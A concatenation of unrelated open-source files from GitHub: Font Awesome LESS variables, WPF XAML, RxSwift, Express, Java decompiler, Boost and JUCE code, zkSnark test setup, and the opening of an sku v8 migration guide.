@fa-var-location-arrow: "\f124";
@fa-var-lock: "\f023";
@fa-var-long-arrow-down: "\f175";
@fa-var-long-arrow-left: "\f177";
@fa-var-long-arrow-right: "\f178";
@fa-var-long-arrow-up: "\f176";
@fa-var-low-vision: "\f2a8";
@fa-var-magic: "\f0d0";
@fa-var-magnet: "\f076";
@fa-var-mail-forward: "\f064";
@fa-var-mail-reply: "\f112";
@fa-var-mail-reply-all: "\f122";
@fa-var-male: "\f183";
@fa-var-map: "\f279";
@fa-var-map-marker: "\f041";
@fa-var-map-o: "\f278";
@fa-var-map-pin: "\f276";
@fa-var-map-signs: "\f277";
@fa-var-mars: "\f222";
@fa-var-mars-double: "\f227";
@fa-var-mars-stroke: "\f229";
@fa-var-mars-stroke-h: "\f22b";
@fa-var-mars-stroke-v: "\f22a";
@fa-var-maxcdn: "\f136";
@fa-var-meanpath: "\f20c";
@fa-var-medium: "\f23a";
@fa-var-medkit: "\f0fa";
@fa-var-meetup: "\f2e0";
@fa-var-meh-o: "\f11a";
@fa-var-mercury: "\f223";
@fa-var-microchip: "\f2db";
@fa-var-microphone: "\f130";
@fa-var-microphone-slash: "\f131";
@fa-var-minus: "\f068";
@fa-var-minus-circle: "\f056";
@fa-var-minus-square: "\f146";
@fa-var-minus-square-o: "\f147";
@fa-var-mixcloud: "\f289";
@fa-var-mobile: "\f10b";
@fa-var-mobile-phone: "\f10b";
@fa-var-modx: "\f285";
@fa-var-money: "\f0d6";
@fa-var-moon-o: "\f186";
@fa-var-mortar-board: "\f19d";
@fa-var-motorcycle: "\f21c";
@fa-var-mouse-pointer: "\f245";
@fa-var-music: "\f001";
@fa-var-navicon: "\f0c9";
@fa-var-neuter: "\f22c";
@fa-var-newspaper-o: "\f1ea";
@fa-var-object-group: "\f247";
@fa-var-object-ungroup: "\f248";
@fa-var-odnoklassniki: "\f263";
@fa-var-odnoklassniki-square: "\f264";
@fa-var-opencart: "\f23d";
@fa-var-openid: "\f19b";
@fa-var-opera: "\f26a";
@fa-var-optin-monster: "\f23c";
@fa-var-outdent: "\f03b";
@fa-var-pagelines: "\f18c";
@fa-var-paint-brush: "\f1fc";
@fa-var-paper-plane: "\f1d8";
@fa-var-paper-plane-o: "\f1d9";
@fa-var-paperclip: "\f0c6";
@fa-var-paragraph: "\f1dd";
@fa-var-paste: "\f0ea";
@fa-var-pause: "\f04c";
@fa-var-pause-circle: "\f28b";
@fa-var-pause-circle-o: "\f28c";
@fa-var-paw: "\f1b0";
@fa-var-paypal: "\f1ed";
@fa-var-pencil: "\f040";
@fa-var-pencil-square: "\f14b";
@fa-var-pencil-square-o: "\f044";
@fa-var-percent: "\f295";
@fa-var-phone: "\f095";
@fa-var-phone-square: "\f098";
@fa-var-photo: "\f03e";
@fa-var-picture-o: "\f03e";
@fa-var-pie-chart: "\f200";
@fa-var-pied-piper: "\f2ae";
@fa-var-pied-piper-alt: "\f1a8";
@fa-var-pied-piper-pp: "\f1a7";
@fa-var-pinterest: "\f0d2";
@fa-var-pinterest-p: "\f231";
@fa-var-pinterest-square: "\f0d3";
@fa-var-plane: "\f072";
@fa-var-play: "\f04b";
@fa-var-play-circle: "\f144";
@fa-var-play-circle-o: "\f01d";
@fa-var-plug: "\f1e6";
@fa-var-plus: "\f067";
@fa-var-plus-circle: "\f055";
@fa-var-plus-square: "\f0fe";
@fa-var-plus-square-o: "\f196";
@fa-var-podcast: "\f2ce";
@fa-var-power-off: "\f011";
@fa-var-print: "\f02f";
@fa-var-product-hunt: "\f288";
@fa-var-puzzle-piece: "\f12e";
@fa-var-qq: "\f1d6";
@fa-var-qrcode: "\f029";
@fa-var-question: "\f128";
@fa-var-question-circle: "\f059";
@fa-var-question-circle-o: "\f29c";
@fa-var-quora: "\f2c4";
@fa-var-quote-left: "\f10d";
@fa-var-quote-right: "\f10e";
@fa-var-ra: "\f1d0";
@fa-var-random: "\f074";
@fa-var-ravelry: "\f2d9";
@fa-var-rebel: "\f1d0";
@fa-var-recycle: "\f1b8";
@fa-var-reddit: "\f1a1";
@fa-var-reddit-alien: "\f281";
@fa-var-reddit-square: "\f1a2";
@fa-var-refresh: "\f021";
@fa-var-registered: "\f25d";
@fa-var-remove: "\f00d";
@fa-var-renren: "\f18b";
@fa-var-reorder: "\f0c9";
@fa-var-repeat: "\f01e";
@fa-var-reply: "\f112";
@fa-var-reply-all: "\f122";
@fa-var-resistance: "\f1d0";
@fa-var-retweet: "\f079";
@fa-var-rmb: "\f157";
@fa-var-road: "\f018";
@fa-var-rocket: "\f135";
@fa-var-rotate-left: "\f0e2";
@fa-var-rotate-right: "\f01e";
@fa-var-rouble: "\f158";
@fa-var-rss: "\f09e";
@fa-var-rss-square: "\f143";
@fa-var-rub: "\f158";
@fa-var-ruble: "\f158";
@fa-var-rupee: "\f156";
@fa-var-s15: "\f2cd";
@fa-var-safari: "\f267";
@fa-var-save: "\f0c7";
@fa-var-scissors: "\f0c4";
@fa-var-scribd: "\f28a";
@fa-var-search: "\f002";
@fa-var-search-minus: "\f010";
@fa-var-search-plus: "\f00e";
@fa-var-sellsy: "\f213";
@fa-var-send: "\f1d8";
@fa-var-send-o: "\f1d9";
@fa-var-server: "\f233";
@fa-var-share: "\f064";
@fa-var-share-alt: "\f1e0";
@fa-var-share-alt-square: "\f1e1";
@fa-var-share-square: "\f14d";
@fa-var-share-square-o: "\f045";
@fa-var-shekel: "\f20b";
@fa-var-sheqel: "\f20b";
@fa-var-shield: "\f132";
@fa-var-ship: "\f21a";
@fa-var-shirtsinbulk: "\f214";
@fa-var-shopping-bag: "\f290";
@fa-var-shopping-basket: "\f291";
@fa-var-shopping-cart: "\f07a";
@fa-var-shower: "\f2cc";
@fa-var-sign-in: "\f090";
@fa-var-sign-language: "\f2a7";
@fa-var-sign-out: "\f08b";
@fa-var-signal: "\f012";
@fa-var-signing: "\f2a7";
@fa-var-simplybuilt: "\f215";
@fa-var-sitemap: "\f0e8";
@fa-var-skyatlas: "\f216";
@fa-var-skype: "\f17e";
@fa-var-slack: "\f198";
@fa-var-sliders: "\f1de";
@fa-var-slideshare: "\f1e7";
@fa-var-smile-o: "\f118";
@fa-var-snapchat: "\f2ab";
@fa-var-snapchat-ghost: "\f2ac";
@fa-var-snapchat-square: "\f2ad";
@fa-var-snowflake-o: "\f2dc";
@fa-var-soccer-ball-o: "\f1e3";
@fa-var-sort: "\f0dc";
@fa-var-sort-alpha-asc: "\f15d";
@fa-var-sort-alpha-desc: "\f15e";
@fa-var-sort-amount-asc: "\f160";
@fa-var-sort-amount-desc: "\f161";
@fa-var-sort-asc: "\f0de";
@fa-var-sort-desc: "\f0dd";
@fa-var-sort-down: "\f0dd";
@fa-var-sort-numeric-asc: "\f162";
@fa-var-sort-numeric-desc: "\f163";
@fa-var-sort-up: "\f0de";
@fa-var-soundcloud: "\f1be";
@fa-var-space-shuttle: "\f197";
@fa-var-spinner: "\f110";
@fa-var-spoon: "\f1b1";
@fa-var-spotify: "\f1bc";
@fa-var-square: "\f0c8";
@fa-var-square-o: "\f096";
@fa-var-stack-exchange: "\f18d";
@fa-var-stack-overflow: "\f16c";
@fa-var-star: "\f005";
@fa-var-star-half: "\f089";
@fa-var-star-half-empty: "\f123";
@fa-var-star-half-full: "\f123";
@fa-var-star-half-o: "\f123";
@fa-var-star-o: "\f006";
@fa-var-steam: "\f1b6";
@fa-var-steam-square: "\f1b7";
@fa-var-step-backward: "\f048";
@fa-var-step-forward: "\f051";
@fa-var-stethoscope: "\f0f1";
@fa-var-sticky-note: "\f249";
@fa-var-sticky-note-o: "\f24a";
@fa-var-stop: "\f04d";
@fa-var-stop-circle: "\f28d";
@fa-var-stop-circle-o: "\f28e";
@fa-var-street-view: "\f21d";
@fa-var-strikethrough: "\f0cc";
@fa-var-stumbleupon: "\f1a4";
@fa-var-stumbleupon-circle: "\f1a3";
@fa-var-subscript: "\f12c";
@fa-var-subway: "\f239";
@fa-var-suitcase: "\f0f2";
@fa-var-sun-o: "\f185";
@fa-var-superpowers: "\f2dd";
@fa-var-superscript: "\f12b";
@fa-var-support: "\f1cd";
@fa-var-table: "\f0ce";
@fa-var-tablet: "\f10a";
@fa-var-tachometer: "\f0e4";
@fa-var-tag: "\f02b";
@fa-var-tags: "\f02c";
@fa-var-tasks: "\f0ae";
@fa-var-taxi: "\f1ba";
@fa-var-telegram: "\f2c6";
@fa-var-television: "\f26c";
@fa-var-tencent-weibo: "\f1d5";
@fa-var-terminal: "\f120";
@fa-var-text-height: "\f034";
@fa-var-text-width: "\f035";
@fa-var-th: "\f00a";
@fa-var-th-large: "\f009";
@fa-var-th-list: "\f00b";
@fa-var-themeisle: "\f2b2";
@fa-var-thermometer: "\f2c7";
@fa-var-thermometer-0: "\f2cb";
@fa-var-thermometer-1: "\f2ca";
@fa-var-thermometer-2: "\f2c9";
@fa-var-thermometer-3: "\f2c8";
@fa-var-thermometer-4: "\f2c7";
@fa-var-thermometer-empty: "\f2cb";
@fa-var-thermometer-full: "\f2c7";
@fa-var-thermometer-half: "\f2c9";
@fa-var-thermometer-quarter: "\f2ca";
@fa-var-thermometer-three-quarters: "\f2c8";
@fa-var-thumb-tack: "\f08d";
@fa-var-thumbs-down: "\f165";
@fa-var-thumbs-o-down: "\f088";
@fa-var-thumbs-o-up: "\f087";
@fa-var-thumbs-up: "\f164";
@fa-var-ticket: "\f145";
@fa-var-times: "\f00d";
@fa-var-times-circle: "\f057";
@fa-var-times-circle-o: "\f05c";
@fa-var-times-rectangle: "\f2d3";
@fa-var-times-rectangle-o: "\f2d4";
@fa-var-tint: "\f043";
@fa-var-toggle-down: "\f150";
@fa-var-toggle-left: "\f191";
@fa-var-toggle-off: "\f204";
@fa-var-toggle-on: "\f205";
@fa-var-toggle-right: "\f152";
@fa-var-toggle-up: "\f151";
@fa-var-trademark: "\f25c";
@fa-var-train: "\f238";
@fa-var-transgender: "\f224";
@fa-var-transgender-alt: "\f225";
@fa-var-trash: "\f1f8";
@fa-var-trash-o: "\f014";
@fa-var-tree: "\f1bb";
@fa-var-trello: "\f181";
@fa-var-tripadvisor: "\f262";
@fa-var-trophy: "\f091";
@fa-var-truck: "\f0d1";
@fa-var-try: "\f195";
@fa-var-tty: "\f1e4";
@fa-var-tumblr: "\f173";
@fa-var-tumblr-square: "\f174";
@fa-var-turkish-lira: "\f195";
@fa-var-tv: "\f26c";
@fa-var-twitch: "\f1e8";
@fa-var-twitter: "\f099";
@fa-var-twitter-square: "\f081";
@fa-var-umbrella: "\f0e9";
@fa-var-underline: "\f0cd";
@fa-var-undo: "\f0e2";
@fa-var-universal-access: "\f29a";
@fa-var-university: "\f19c";
@fa-var-unlink: "\f127";
@fa-var-unlock: "\f09c";
@fa-var-unlock-alt: "\f13e";
@fa-var-unsorted: "\f0dc";
@fa-var-upload: "\f093";
@fa-var-usb: "\f287";
@fa-var-usd: "\f155";
@fa-var-user: "\f007";
@fa-var-user-circle: "\f2bd";
@fa-var-user-circle-o: "\f2be";
@fa-var-user-md: "\f0f0";
@fa-var-user-o: "\f2c0";
@fa-var-user-plus: "\f234";
@fa-var-user-secret: "\f21b";
@fa-var-user-times: "\f235";
@fa-var-users: "\f0c0";
@fa-var-vcard: "\f2bb";
@fa-var-vcard-o: "\f2bc";
@fa-var-venus: "\f221";
@fa-var-venus-double: "\f226";
@fa-var-venus-mars: "\f228";
@fa-var-viacoin: "\f237";
@fa-var-viadeo: "\f2a9";
@fa-var-viadeo-square: "\f2aa";
@fa-var-video-camera: "\f03d";
@fa-var-vimeo: "\f27d";
@fa-var-vimeo-square: "\f194";
@fa-var-vine: "\f1ca";
@fa-var-vk: "\f189";
@fa-var-volume-control-phone: "\f2a0";
@fa-var-volume-down: "\f027";
@fa-var-volume-off: "\f026";
@fa-var-volume-up: "\f028";
@fa-var-warning: "\f071";
@fa-var-wechat: "\f1d7";
@fa-var-weibo: "\f18a";
@fa-var-weixin: "\f1d7";
@fa-var-whatsapp: "\f232";
@fa-var-wheelchair: "\f193";
@fa-var-wheelchair-alt: "\f29b";
@fa-var-wifi: "\f1eb";
@fa-var-wikipedia-w: "\f266";
@fa-var-window-close: "\f2d3";
@fa-var-window-close-o: "\f2d4";
@fa-var-window-maximize: "\f2d0";
@fa-var-window-minimize: "\f2d1";
@fa-var-window-restore: "\f2d2";
@fa-var-windows: "\f17a";
@fa-var-won: "\f159";
@fa-var-wordpress: "\f19a";
@fa-var-wpbeginner: "\f297";
@fa-var-wpexplorer: "\f2de";
@fa-var-wpforms: "\f298";
@fa-var-wrench: "\f0ad";
@fa-var-xing: "\f168";
@fa-var-xing-square: "\f169";
@fa-var-y-combinator: "\f23b";
@fa-var-y-combinator-square: "\f1d4";
@fa-var-yahoo: "\f19e";
@fa-var-yc: "\f23b";
@fa-var-yc-square: "\f1d4";
@fa-var-yelp: "\f1e9";
@fa-var-yen: "\f157";
@fa-var-yoast: "\f2b1";
@fa-var-youtube: "\f167";
@fa-var-youtube-play: "\f16a";
@fa-var-youtube-square: "\f166";
| {
"pile_set_name": "Github"
} |
<StackPanel
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
x:Class="ContextMenuOpening.Pane"
xmlns:my="clr-namespace:ContextMenuOpening"
>
<StackPanel>
<Rectangle Fill="Purple" Width="200" Height="100" ContextMenuOpening="AddItemToCm">
<Rectangle.ContextMenu>
<ContextMenu>
<MenuItem Header="Item1"/>
<MenuItem Header="Item2"/>
<MenuItem Header="Item3"/>
</ContextMenu>
</Rectangle.ContextMenu>
</Rectangle>
<TextBlock>Handler does not mark Handled, but adds Item4 to menu</TextBlock>
</StackPanel>
<StackPanel>
<Rectangle Fill="Red" Width="200" Height="100" ContextMenuOpening="HandlerForCMO"/>
<TextBlock>Right-click the rectangle above, and note that the context menu does not get replaced</TextBlock>
</StackPanel>
<StackPanel>
<Rectangle Fill="Yellow" Width="200" Height="100" ContextMenuOpening="HandlerForCMO">
<Rectangle.ContextMenu>
<ContextMenu>
<MenuItem>Initial menu; this will be replaced ...</MenuItem>
</ContextMenu>
</Rectangle.ContextMenu>
</Rectangle>
<TextBlock>Right-click the rectangle above, context menu gets replaced</TextBlock>
</StackPanel>
<StackPanel>
<Rectangle Fill="Green" Width="200" Height="100" ContextMenuOpening="HandlerForCMO2" />
<TextBlock>Right-click the rectangle above, new context menu deliberately forced open</TextBlock>
</StackPanel>
<StackPanel>
<my:MyButton Width="100" Height="50"/>
<TextBlock>Alternative approach for custom classes: override OnContextMenuOpening class handler</TextBlock>
</StackPanel>
</StackPanel>
| {
"pile_set_name": "Github"
} |
//
// MessageSentObserver.swift
// RxCocoa
//
// Created by Krunoslav Zaher on 7/12/15.
// Copyright © 2015 Krunoslav Zaher. All rights reserved.
//
import Foundation
#if !RX_NO_MODULE
import RxSwift
#endif
#if !DISABLE_SWIZZLING
class DeallocatingObservable
: ObservableConvertibleType
, RXMessageSentObserver {
typealias E = ()
private let _subject = ReplaySubject<()>.create(bufferSize: 1)
@objc var targetImplementation: IMP = RX_default_target_implementation()
var isActive: Bool {
return targetImplementation != RX_default_target_implementation()
}
init() {
}
@objc func messageSentWithParameters(parameters: [AnyObject]) -> Void {
_subject.on(.Next())
}
func asObservable() -> Observable<()> {
return _subject
}
deinit {
_subject.on(.Completed)
}
}
class MessageSentObservable
: ObservableConvertibleType
, RXMessageSentObserver {
typealias E = [AnyObject]
private let _subject = PublishSubject<[AnyObject]>()
@objc var targetImplementation: IMP = RX_default_target_implementation()
var isActive: Bool {
return targetImplementation != RX_default_target_implementation()
}
init() {
}
@objc func messageSentWithParameters(parameters: [AnyObject]) -> Void {
_subject.on(.Next(parameters))
}
func asObservable() -> Observable<[AnyObject]> {
return _subject
}
deinit {
_subject.on(.Completed)
}
}
#endif
| {
"pile_set_name": "Github"
} |
fileFormatVersion: 2
guid: d0d4464be451b1e428a36dce7ac13838
MonoImporter:
externalObjects: {}
serializedVersion: 2
defaultReferences: []
executionOrder: 0
icon: {instanceID: 0}
userData:
assetBundleName:
assetBundleVariant:
| {
"pile_set_name": "Github"
} |
const appConfig = require('../config/main');
import * as e6p from 'es6-promise';
(e6p as any).polyfill();
const express = require('express');
const path = require('path');
const compression = require('compression');
const Chalk = require('chalk');
const favicon = require('serve-favicon');
const app = express();
app.use(compression());
if (process.env.NODE_ENV !== 'production') {
const webpack = require('webpack');
const webpackConfig = require('../config/webpack/dev');
const webpackCompiler = webpack(webpackConfig);
app.use(require('webpack-dev-middleware')(webpackCompiler, {
publicPath: webpackConfig.output.publicPath,
stats: { colors: true },
noInfo: true,
hot: true,
inline: true,
lazy: false,
historyApiFallback: true,
quiet: true,
}));
app.use(require('webpack-hot-middleware')(webpackCompiler));
}
app.use(favicon(path.join(__dirname, 'public/favicon.ico')));
app.use('/public', express.static(path.join(__dirname, 'public')));
app.get('*', (req, res) => {
const location = req.url;
console.info('Hits ' + location);
res.sendFile(path.join(__dirname, 'public/index.html'));
});
app.listen(appConfig.port, (err) => {
if (err) {
console.error(Chalk.bgRed(err));
} else {
console.info(Chalk.black.bgGreen(
`\n\n💫 Listening at http://${appConfig.host}:${appConfig.port}\n`,
));
}
});
| {
"pile_set_name": "Github"
} |
Payload: <%= @payload.inspect %>
Exception: <%= @error %>
Backtrace: <%= @backtrace %>
| {
"pile_set_name": "Github"
} |
/*
* Copyright 2000-2016 JetBrains s.r.o.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.jetbrains.java.decompiler.modules.decompiler;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.Set;
import org.jetbrains.java.decompiler.code.CodeConstants;
import org.jetbrains.java.decompiler.modules.decompiler.exps.ConstExprent;
import org.jetbrains.java.decompiler.modules.decompiler.exps.Exprent;
import org.jetbrains.java.decompiler.modules.decompiler.exps.FunctionExprent;
import org.jetbrains.java.decompiler.modules.decompiler.exps.InvocationExprent;
import org.jetbrains.java.decompiler.modules.decompiler.exps.NewExprent;
import org.jetbrains.java.decompiler.struct.consts.PooledConstant;
import org.jetbrains.java.decompiler.struct.consts.PrimitiveConstant;
import org.jetbrains.java.decompiler.struct.gen.MethodDescriptor;
import org.jetbrains.java.decompiler.struct.gen.VarType;
public class ConcatenationHelper {
private static final String builderClass = "java/lang/StringBuilder";
private static final String bufferClass = "java/lang/StringBuffer";
private static final String stringClass = "java/lang/String";
private static final VarType builderType = new VarType(CodeConstants.TYPE_OBJECT, 0, "java/lang/StringBuilder");
private static final VarType bufferType = new VarType(CodeConstants.TYPE_OBJECT, 0, "java/lang/StringBuffer");
public static Exprent contractStringConcat(Exprent expr) {
Exprent exprTmp = null;
VarType cltype = null;
// first quick test
if (expr.type == Exprent.EXPRENT_INVOCATION) {
InvocationExprent iex = (InvocationExprent) expr;
if ("toString".equals(iex.getName())) {
if (builderClass.equals(iex.getClassname())) {
cltype = builderType;
} else if (bufferClass.equals(iex.getClassname())) {
cltype = bufferType;
}
if (cltype != null) {
exprTmp = iex.getInstance();
}
} else if ("makeConcatWithConstants".equals(iex.getName())) { // java 9 style
List<Exprent> parameters = extractParameters(iex.getBootstrapArguments(), iex);
if (parameters.size() >= 2) {
return createConcatExprent(parameters, expr.bytecode);
}
}
}
if (exprTmp == null) {
return expr;
}
// iterate in depth, collecting possible operands
List<Exprent> lstOperands = new ArrayList<>();
while (true) {
int found = 0;
switch (exprTmp.type) {
case Exprent.EXPRENT_INVOCATION:
InvocationExprent iex = (InvocationExprent) exprTmp;
if (isAppendConcat(iex, cltype)) {
lstOperands.add(0, iex.getLstParameters().get(0));
exprTmp = iex.getInstance();
found = 1;
}
break;
case Exprent.EXPRENT_NEW:
NewExprent nex = (NewExprent) exprTmp;
if (isNewConcat(nex, cltype)) {
VarType[] params = nex.getConstructor().getDescriptor().params;
if (params.length == 1) {
lstOperands.add(0, nex.getConstructor().getLstParameters().get(0));
}
found = 2;
}
}
if (found == 0) {
return expr;
} else if (found == 2) {
break;
}
}
int first2str = 0;
int index = 0;
while (index < lstOperands.size() && index < 2) {
if (lstOperands.get(index).getExprType().equals(VarType.VARTYPE_STRING)) {
first2str |= (index + 1);
}
index++;
}
if (first2str == 0) {
lstOperands.add(0, new ConstExprent(VarType.VARTYPE_STRING, "", expr.bytecode));
}
// remove redundant String.valueOf
for (int i = 0; i < lstOperands.size(); i++) {
Exprent rep = removeStringValueOf(lstOperands.get(i));
boolean ok = (i > 1);
if (!ok) {
boolean isstr = rep.getExprType().equals(VarType.VARTYPE_STRING);
ok = isstr || first2str != i + 1;
if (i == 0) {
first2str &= 2;
}
}
if (ok) {
lstOperands.set(i, rep);
}
}
return createConcatExprent(lstOperands, expr.bytecode);
}
private static Exprent createConcatExprent(List<Exprent> lstOperands, Set<Integer> bytecode) {
// build exprent to return
Exprent func = lstOperands.get(0);
for (int i = 1; i < lstOperands.size(); i++) {
func = new FunctionExprent(FunctionExprent.FUNCTION_STR_CONCAT, Arrays.asList(func, lstOperands.get(i)), bytecode);
}
return func;
}
// See StringConcatFactory in jdk sources
private static final char TAG_ARG = '\u0001';
private static final char TAG_CONST = '\u0002';
private static List<Exprent> extractParameters(List<PooledConstant> bootstrapArguments, InvocationExprent expr) {
List<Exprent> parameters = expr.getLstParameters();
if (bootstrapArguments != null) {
PooledConstant constant = bootstrapArguments.get(0);
if (constant.type == CodeConstants.CONSTANT_String) {
String recipe = ((PrimitiveConstant) constant).getString();
List<Exprent> res = new ArrayList<>();
StringBuilder acc = new StringBuilder();
int parameterId = 0;
for (int i = 0; i < recipe.length(); i++) {
char c = recipe.charAt(i);
if (c == TAG_CONST || c == TAG_ARG) {
// Detected a special tag, flush all accumulated characters
// as a constant first:
if (acc.length() > 0) {
res.add(new ConstExprent(VarType.VARTYPE_STRING, acc.toString(), expr.bytecode));
acc.setLength(0);
}
if (c == TAG_CONST) {
// skip for now
}
if (c == TAG_ARG) {
res.add(parameters.get(parameterId++));
}
} else {
// Not a special characters, this is a constant embedded into
// the recipe itself.
acc.append(c);
}
}
// Flush the remaining characters as constant:
if (acc.length() > 0) {
res.add(new ConstExprent(VarType.VARTYPE_STRING, acc.toString(), expr.bytecode));
}
return res;
}
}
return new ArrayList<>(parameters);
}
private static boolean isAppendConcat(InvocationExprent expr, VarType cltype) {
if ("append".equals(expr.getName())) {
MethodDescriptor md = expr.getDescriptor();
if (md.ret.equals(cltype) && md.params.length == 1) {
VarType param = md.params[0];
switch (param.type) {
case CodeConstants.TYPE_OBJECT:
if (!param.equals(VarType.VARTYPE_STRING) && !param.equals(VarType.VARTYPE_OBJECT)) {
break;
}
case CodeConstants.TYPE_BOOLEAN:
case CodeConstants.TYPE_CHAR:
case CodeConstants.TYPE_DOUBLE:
case CodeConstants.TYPE_FLOAT:
case CodeConstants.TYPE_INT:
case CodeConstants.TYPE_LONG:
return true;
default:
}
}
}
return false;
}
private static boolean isNewConcat(NewExprent expr, VarType cltype) {
if (expr.getNewType().equals(cltype)) {
VarType[] params = expr.getConstructor().getDescriptor().params;
if (params.length == 0 || (params.length == 1 && params[0].equals(VarType.VARTYPE_STRING))) {
return true;
}
}
return false;
}
private static Exprent removeStringValueOf(Exprent exprent) {
if (exprent.type == Exprent.EXPRENT_INVOCATION) {
InvocationExprent iex = (InvocationExprent) exprent;
if ("valueOf".equals(iex.getName()) && stringClass.equals(iex.getClassname())) {
MethodDescriptor md = iex.getDescriptor();
if (md.params.length == 1) {
VarType param = md.params[0];
switch (param.type) {
case CodeConstants.TYPE_OBJECT:
if (!param.equals(VarType.VARTYPE_OBJECT)) {
break;
}
case CodeConstants.TYPE_BOOLEAN:
case CodeConstants.TYPE_CHAR:
case CodeConstants.TYPE_DOUBLE:
case CodeConstants.TYPE_FLOAT:
case CodeConstants.TYPE_INT:
case CodeConstants.TYPE_LONG:
return iex.getLstParameters().get(0);
}
}
}
}
return exprent;
}
}
| {
"pile_set_name": "Github"
} |
import head from "./head";
import locale from "./locale";
export default { head, locale };
| {
"pile_set_name": "Github"
} |
import { shouldBehaveLikeZKSnarkCircuit, shouldBehaveLikePresetZKSnarkCircuit } from './shared';
import { zkSnarkCircuitProviderServiceFactory, zkSnarkCircuitProviderServiceZokrates } from '../src/index';
// const baselineDocumentCircuitPath = '../../lib/circuits/baselineDocument.zok';
const noopAgreementCircuitPath = '../../lib/circuits/noopAgreement.zok';
let provider;
describe('when the underlying zokrates provider is available', () => {
beforeEach(async () => {
provider = await zkSnarkCircuitProviderServiceFactory(zkSnarkCircuitProviderServiceZokrates);
});
it('runs the noopAgreement circuit lifecycle successfully', () => {
shouldBehaveLikeZKSnarkCircuit(provider, noopAgreementCircuitPath, ['2']); // this is here for sanity...
});
// it('runs the createAgreement circuit lifecycle successfully with preset circuit artifacts', () => {
// shouldBehaveLikePresetZKSnarkCircuit(provider, 'createAgreement');
// });
});
| {
"pile_set_name": "Github"
} |
// (C) Copyright Dave Abrahams, Steve Cleary, Beman Dawes,
// Howard Hinnant and John Maddock 2000.
// (C) Copyright Mat Marcus, Jesse Jones and Adobe Systems Inc 2001
// Use, modification and distribution are subject to the Boost Software License,
// Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at
// http://www.boost.org/LICENSE_1_0.txt).
//
// See http://www.boost.org/libs/type_traits for most recent version including documentation.
// Fixed is_pointer, is_lvalue_reference, is_const, is_volatile, is_same,
// is_member_pointer based on the Simulated Partial Specialization work
// of Mat Marcus and Jesse Jones. See http://opensource.adobe.com or
// http://groups.yahoo.com/group/boost/message/5441
// Some workarounds in here use ideas suggested from "Generic<Programming>:
// Mappings between Types and Values"
// by Andrei Alexandrescu (see http://www.cuj.com/experts/1810/alexandr.html).
#ifndef BOOST_TT_IS_LVALUE_REFERENCE_HPP_INCLUDED
#define BOOST_TT_IS_LVALUE_REFERENCE_HPP_INCLUDED
#include <boost/type_traits/integral_constant.hpp>
namespace boost {
#if defined( __CODEGEARC__ )
template <class T> struct is_lvalue_reference : public integral_constant<bool, __is_reference(T)>{};
#else
template <class T> struct is_lvalue_reference : public false_type{};
template <class T> struct is_lvalue_reference<T&> : public true_type{};
#if defined(BOOST_ILLEGAL_CV_REFERENCES)
// these are illegal specialisations; cv-qualifies applied to
// references have no effect according to [8.3.2p1],
// C++ Builder requires them though as it treats cv-qualified
// references as distinct types...
template <class T> struct is_lvalue_reference<T&const> : public true_type{};
template <class T> struct is_lvalue_reference<T&volatile> : public true_type{};
template <class T> struct is_lvalue_reference<T&const volatile> : public true_type{};
#endif
#endif
} // namespace boost
#endif // BOOST_TT_IS_REFERENCE_HPP_INCLUDED
| {
"pile_set_name": "Github"
} |
/*
==============================================================================
This file is part of the JUCE library.
Copyright (c) 2017 - ROLI Ltd.
JUCE is an open source library subject to commercial or open-source
licensing.
By using JUCE, you agree to the terms of both the JUCE 5 End-User License
Agreement and JUCE 5 Privacy Policy (both updated and effective as of the
27th April 2017).
End User License Agreement: www.juce.com/juce-5-licence
Privacy Policy: www.juce.com/juce-5-privacy-policy
Or: You may also use this code under the terms of the GPL v3 (see
www.gnu.org/licenses).
JUCE IS PROVIDED "AS IS" WITHOUT ANY WARRANTY, AND ALL WARRANTIES, WHETHER
EXPRESSED OR IMPLIED, INCLUDING MERCHANTABILITY AND FITNESS FOR PURPOSE, ARE
DISCLAIMED.
==============================================================================
*/
namespace juce
{
//==============================================================================
/**
Used by the UndoManager class to store an action which can be done
and undone.
@see UndoManager
*/
class JUCE_API UndoableAction
{
protected:
/** Creates an action. */
UndoableAction() noexcept {}
public:
/** Destructor. */
virtual ~UndoableAction() {}
//==============================================================================
/** Overridden by a subclass to perform the action.
This method is called by the UndoManager, and shouldn't be used directly by
applications.
Be careful not to make any calls in a perform() method that could call
recursively back into the UndoManager::perform() method
@returns true if the action could be performed.
@see UndoManager::perform
*/
virtual bool perform() = 0;
/** Overridden by a subclass to undo the action.
This method is called by the UndoManager, and shouldn't be used directly by
applications.
Be careful not to make any calls in an undo() method that could call
recursively back into the UndoManager::perform() method
@returns true if the action could be undone without any errors.
@see UndoManager::perform
*/
virtual bool undo() = 0;
//==============================================================================
/** Returns a value to indicate how much memory this object takes up.
Because the UndoManager keeps a list of UndoableActions, this is used
to work out how much space each one will take up, so that the UndoManager
can work out how many to keep.
The default value returned here is 10 - units are arbitrary and
don't have to be accurate.
@see UndoManager::getNumberOfUnitsTakenUpByStoredCommands,
UndoManager::setMaxNumberOfStoredUnits
*/
virtual int getSizeInUnits() { return 10; }
/** Allows multiple actions to be coalesced into a single action object, to reduce storage space.
If possible, this method should create and return a single action that does the same job as
this one followed by the supplied action.
If it's not possible to merge the two actions, the method should return a nullptr.
*/
virtual UndoableAction* createCoalescedAction (UndoableAction* nextAction) { ignoreUnused (nextAction); return nullptr; }
};
} // namespace juce
| {
"pile_set_name": "Github"
} |
# v8.0.0 Migration guide
This guide assumes you have an existing app running on `sku v7`. If you are still on a version of sku prior to v7, please checkout the [v7 Migration guide](./migration-guides/v7.0.0) as well.
> If you have any issues or concerns updating to sku v8, please post in the #sku-support slack channel.
**Obligatory warning to check everything still works**
We try to validate sku works across a big variety of scenarios before releasing. However, as with all major sku releases, please validate that your app continues to work as expected in a real environment as well as locally.
## Peer dependencies
`React` is now a `peerDependency` of sku. Ensure your version of React falls within the required range.
> At the time of release, sku requires `React v16.3.0` or above.
## Dynamic imports
